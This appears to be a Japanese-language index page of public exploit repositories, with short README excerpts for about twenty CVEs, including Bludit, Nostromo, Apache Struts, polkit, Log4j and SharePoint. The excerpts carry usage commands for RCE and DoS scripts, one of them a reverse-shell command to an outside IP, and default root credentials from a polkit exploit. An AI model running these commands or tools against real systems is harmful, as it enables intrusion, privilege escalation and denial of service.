CVE-2019-16113

CVE-2019-16113 CVE-2019-16113 - bludit = 3.9.2 認証付きRCE 使い方 python CVE-2019-16113.py -u http://10.10.10.10 -user user -pass secret -c "bash -c 'bash -i & /dev/tcp/10.10.14.172/1337 0&1'" 例...

CVE-2019-16278-Nostromo_1.9.6-RCE

CVE-2019-16278 - Nostromo 1.9.6 RCE Nostromo nhttpd = 1.9.6 におけるRCEを悪用するPythonスクリプト。 ヘルプ usage: CVE-2019-16278.py -h -t TARGET -p PORT -c COMMAND -b BYTES CVE-2019-16278 - Nostromo 1.9.6 RCE のエクスプロイト optional arguments: -h, --help このヘルプメッセージを表示して終了 -t TARGET, --target TARGET 対象のリモートホスト -p PORT,...

cve-2024-0305exp

cve-2024-0305exp cve-2024-0305用の利用可能なexpです。引用する際は出典を明記してください。ありがとうございます！ 0x01 製品背景 Ncast盈可视高清智能录播システム（Ncast Yingkeshi 高画質インテリジェント録画システム）は、広州盈可视電子科技有限公司の製品です。このシステムにはRCE脆弱性が存在し、攻撃者はこの脆弱性を利用して任意のコマンドを実行し、サーバーの権限を取得してサーバーを乗っ取ることができます。 0x02 脆弱性範囲 Ncast 2007 Ncast 2017 0x03 脆弱性検索 FOFA: app="Ncast-产品"...

PAN-OS_CVE-2024-9474

python3 exp.py...

log4j2_dos_exploit

説明 about author: 我超怕的 blog: https://www.cnblogs.com/iAmSoScArEd/ github: https://github.com/iAmSOScArEd/ date: 2021-12-20 log4j2 dos exploit log4j2 dos 脆弱性悪用スクリプト CVE-2021-45105 Exploit CVE-2021-45105 悪用スクリプト 使用方法 how to use 英語： Log4j2dos.py -u -m -d -H -l -t -u,--url attack target -m,--method ht...

Apache-Struts-v4

Apache-Struts-v4 このスクリプトは、Apache Struts における5つの異なるRCE脆弱性を悪用します。現時点では、PHPシェルを作成する機能のみを含んでいます。 CVE 追加 CVE ID| 説明 ---|--- CVE-2013-2251| Apache Struts 2.0.0から2.3.15では、リモート攻撃者が 1 action:、2 redirect:、または 3 redirectAction: のプレフィックスを持つ細工されたパラメータを介して、任意のOGNL式を実行できる。 CVE-2017-5638| Apache Struts 2 2.3.x...

CVE-2012-2982_Python

CVE-2012-2982Python tryhackmeの演習用PoC Pythonスクリプト: https://tryhackme.com/room/intropocscripting これはMetasploitのCVEです: https://www.exploit-db.com/exploits/21851 これらはエクスプロイト発見後に行われた変更です: https://github.com/webmin/webmin/commit/1f1411fe7404ec3ac03e803cfa7e01515e71a213 使用方法:...

exploit_CVE-2021-3560

CVE-2021-3560 エクスプロイトスクリプト このスクリプトは、polkitの脆弱性CVE-2021-3560を悪用し、ルート権限への昇格を可能にします。 使用方法 リポジトリをクローンした後、実行権限を付与してスクリプトを実行します: chmod +x exploit.sh ./exploit.sh 期待される結果 スクリプトを実行すると、ルート権限を持つ新しいユーザーが作成されます。スクリプトで指定された認証情報を使用してログインできます: ROOTUSER="john" ROOTPASS="john@123" ログイン例 su john Password: john@123...

CVE-2020-2555

CVE-2020-2555 http://1984-0day.com https://www.youtube.com/watch?v=VzmZTYbm4Zw python CVE-2020-2555.py ip port test.ser...

CVE-2009-0473-check

説明 Rockwell ControlLogix 1756-ENBT/A のオープンリダイレクト脆弱性を悪用するシンプルなスクリプト。 脆弱性の詳細 https://www.cvedetails.com/cve/CVE-2009-0473/ 要件 Python 2.7 このスクリプトを実行する前に、X Windows 環境が実行されている必要があります。 Python の “webbrowser” ライブラリを使用して、デフォルトのブラウザでサイトを開きます。...

cve-2023-20198

cve-2023-20198 説明 1vere$kによるCVE-2023-20198のPOC、Blogに基づく。また、元のCisco articleに従った16進数応答のチェックを含む。 スクリプトは2つのモードで動作します： check モード：指定されたURLに接続し、応答コードを確認します。応答が200OKで、かつ応答の長さが32文字未満の場合、デバイスが 侵害されている可能性 があります。 exploit モード：このモードでは、ユーザー名、パスワード、侵害された設定を指定する必要があります。 Ciscoの記事で推奨されているhttp/httpsスキーマのサポートを追加。...

WP-DOS-Exploit-CVE-2018-6389

WP-DOS-Exploit-CVE-2018-6389 これはWordPressのDoS攻撃（CVE-2018-6389）のエクスプロイトです。 使用法 python3 wp-dosCVE-2018-6389.py domain threads 例 python3 wp-dosCVE-2018-6389.py http://example.com 1000...

cve-2021-42013-apache

スクリプトのインストールと実行 💻 前提条件 始める前に、以下のツールがマシンにインストールされていることを確認してください： Python 3.x Git pip （Pythonの依存関係を管理するため） インストール手順 1. リポジトリをクローン gitを使ってリポジトリをクローンします： git clone https://github.com/dream434/cve-2021-42013-apache 2. プロジェクトディレクトリに移動 cd cve-2021-42013-apache 3. 依存関係をインストール 📥 pip install -r...

CVE-2023-29489

CVE-2023-29489 SynixCyberCrimeMY CVE-2023-29489 スキャナー 作成: SamuraiMelayu1337 & h4zzzzzz@scc 使用方法 git clone https://github.com/SynixCyberCrimeMy/CVE-2023-29489 cd CVE-2023-29489 pip3 install -r requirements.txt python3 eksepelot.py 謝辞 すべての SynixCyberCrimeMY メンバー...

CVE-2018-7935

CVE-2018-7935 POC まず有効なSessionを取得する curl http://192.168.8.1/html/index.html | grep SessionID 手順: exploit.py を編集し、取得した SessionID を挿入してください 脆弱性ステータス : 確認済み & パッチがリリースされました...

CVE-2021-31166

CVE-2021-31166 CVE-2021-31166 のエクスプロイト用のシンプルな Bash スクリプト...

CVE-2020-13942

CVE-2020-13942 スクリプトを使用する前に、ターゲットに対してhttpxまたはhttprobを実行してください。 使い方 ./CVE-2020-13942.sh target.txt クレジット このスクリプトはRohit Gautamのリポジトリから作成されました。...

ToolShell

Exploit for SharePoint ToolShell. Blog: https://blog.viettelcybersecurity.com/sharepoint-toolshell/ 使用方法: python exploit.py -u -c 例: python exploit.py -u http://10.0.1.12/sites/test -c calc @l0gg...

CVE-2019-16278-PoC

CVE-2019-16728-PoC CVE-2019-16728 参考 https://git.sp0re.sh/sp0re/Nhttpd-exploits/src/branch/master/CVE-2019-16278.sh...

CVE-2020-7961

CVE-2020-7961 CVE-2020-7961 用エクスプロイトスクリプト JSONWS を介した認証なしのリモートコード実行 参考情報とインスピレーション オリジナルのブログ記事 : https://codewhitesec.blogspot.com/2020/03/liferay-portal-json-vulns.html synacktiv のブログ記事 : https://www.synacktiv.com/publications/how-to-exploit-liferay-cve-2020-7961-quick-journey-to-poc.html コードベース...